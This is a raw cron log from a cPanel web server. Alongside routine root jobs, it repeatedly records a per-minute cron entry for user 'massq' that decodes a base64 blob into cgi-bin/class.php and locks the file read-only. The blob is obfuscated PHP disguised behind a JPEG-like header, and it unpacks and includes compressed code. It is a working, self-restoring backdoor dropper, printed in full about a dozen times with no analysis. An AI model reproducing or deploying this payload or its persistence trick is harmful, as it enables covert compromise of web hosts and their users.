Nov 12 11:39:01 server CROND[31200]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:39:01 server CROND[31204]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 11:40:01 server CROND[32139]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 11:40:01 server CROND[32141]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 11:40:01 server CROND[32140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 11:40:01 server CROND[32142]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:41:01 server CROND[32541]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:42:01 server CROND[915]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 11:42:01 server CROND[916]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:43:01 server CROND[1763]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:44:01 server CROND[2152]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:45:01 server CROND[2701]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:45:01 server CROND[2702]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 11:45:01 server CROND[2703]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 11:46:01 server CROND[3580]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:47:01 server CROND[4364]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:48:01 server CROND[5174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:49:01 server CROND[6148]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:50:01 server CROND[6975]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 11:50:01 server CROND[6977]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 11:50:01 server CROND[6978]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 11:50:01 server CROND[6979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 11:50:01 server CROND[6980]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:51:01 server CROND[7852]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
